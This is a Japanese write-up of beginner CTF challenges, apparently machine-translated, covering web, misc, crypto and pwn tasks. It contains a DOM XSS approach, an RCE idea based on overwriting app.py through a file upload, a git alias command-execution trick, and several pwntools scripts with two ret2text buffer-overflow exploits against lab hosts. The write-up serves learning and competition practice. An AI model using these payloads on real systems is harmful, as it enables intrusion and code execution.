初心者コンペ WP では面白い問題だけを書きましょう
web#
babyjvav#
https://www.tritium.work/2023/11/06/JAVA 入門の罠 /
secchat#
ここには innerhtml を挿入する domxss があり、svg タグや img の onerror でトリガーできます
チャットを開始するときに id がこの message 関数を呼び出すことに注意し、xss を id に組み込んで admin に送信すれば、さまざまな関数呼び出しを通じて admin の行動を制御できます
大雪は五百分を取りたい#
。。この問題は本当に低能だと思います
daxue =new Proxy({
"math": "150",
"computer": new String("150"),
"politics": 98,
"english": 100,
"flag": 0,
value:500
}, {
get:function (target, prop, receiver) {
if (prop === 'politics') {
if (target.politics !== 100) {
return target.politics++;
} else {
return target.politics;
}
};
if(prop === "valueOf"){
return function() {
return target.value;
};
};
if (prop === 'english') {
if (target.english !== 100){
return "99";
}else {
return target.english++;
}
};
return Reflect.get(target, prop,receiver);
}
});
私が新しく学んだ flask#
任意のファイルアップロードを利用して /src/app.py を上書きし、悪意のあるルートを追加すれば rce できます
misc#
大雪の木の切断構造#
gitshell を打つことのあまり使われないポイントを調査
git -c alias.test='!/readflag' test
alias を使って外部コマンドを導入
メモリフォレンジック#
vol を使ってプロセスを確認し、backdoor.exe をダンプして読むだけです
3G の前は何だったか#
情報理論を考えたいが、ctf 環境では必ず一種の邪道がある
while True:
r = remote("172.20.14.117",53001)
for i in range(15):
print(r.recvuntil(b"Ask Shannon:\n[-] "))
r.sendline(b"1")
r.recvuntil(b"Now open the chests:\n[-] ")
r.sendline(b'1 1 1 1 1 1 1')
res = r.recvline().decode()
if "You've found all the treas" in res:
print(res)
break
else:
print("next")
r.close()
continue
合計で 128 通りしかないので、すぐに全 1 が現れるはずです
crypto#
hard_pow#
長さ拡張攻撃 hashpumpy を使うのが分からなかったので、代替品を使いました
https://github.com/shellfeel/hash-ext-attack/tree/master
easy_pow#
brutehash を使って出せばいいので、スクリプトは不要です
easy_dhke#
何でも漏れたので、すべてを盗んで pwntools に縫い込んでいます
from Crypto.Util.number import * # type: ignore
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
import string
import random
import os
from pwn import *
# p は Diffie-Hellman キー交換でのモジュロ演算に使用される大きな素数
p = 327824197795087630552811243153730025469
# g は Diffie-Hellman キー交換で公開鍵を生成するために使用される基数
g = 5
# alice はアリスの秘密鍵で、アリスによって選ばれた整数
alice = 22751
# bob はボブの秘密鍵で、ボブによって選ばれた整数
bob = 39494
# ボブは g^bob mod p を計算してボブの公開鍵を割り当てます(大文字で区別)
Bob = pow(g, bob, p)
# 共有秘密鍵はアリスがボブの公開鍵を使って計算し、アリスの秘密鍵 mod p で累乗します
key = long_to_bytes(pow(Bob, alice, p))
def encrypt(plain_text: bytes, key: bytes) -> bytes:
cipher = AES.new(key, AES.MODE_ECB)
cipher_text = cipher.encrypt(pad(plain_text, AES.block_size))
return cipher_text
def decrypt(encrypt_text: bytes, key: bytes) -> bytes:
cipher = AES.new(key, AES.MODE_ECB)
plain_text = unpad(cipher.decrypt(encrypt_text), AES.block_size)
return plain_text
r = remote('172.20.14.117',40766)
r.recvuntil(b'[+] Alice said :\n')
cipher = r.recvuntil(b'\n')[0:-1]
print(cipher)
message = decrypt(cipher, key)
print(message)
r.recvuntil(b"[+] Now tell me what are they talking about:")
r.sendline(message)
r.recvuntil(b"[+] Tell me the cipher:")
r.send(encrypt(b'HackedBy0xfa',key))
print(r.recvall())
easy_rsa#
この問題の n は本当に簡単で、factordb で分解すれば解読できます
leak_d#
d を知っているので、直接解読すればいいだけです
スクリプトは私が削除したようです
pwn#
right#
自分で研究してこの問題を解決しました。ctfwiki で最も簡単な ret2text です
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
r = remote("172.20.14.117",28202)
addr = 0x40115A
payload = flat([b'a'*0x28,addr])
r.recvuntil(b'so please tell me what you want to tell me\n')
# print(payload)
r.sendline(payload)
# r.sendline(b'ls')
r.interactive()
# print(r.recvline())
addr は system の行のアドレスで、rbp-20h+8 をスタックのトップに上書きします
onepiece#
from pwn import *
io=remote("172.20.14.117",61768)
addr = 0x40119e
payload=b"a"*0x100+p64(addr)*0x100
io.sendline(payload)
io.interactive()
乱れた出力で、私は blindpwn を理解できませんでした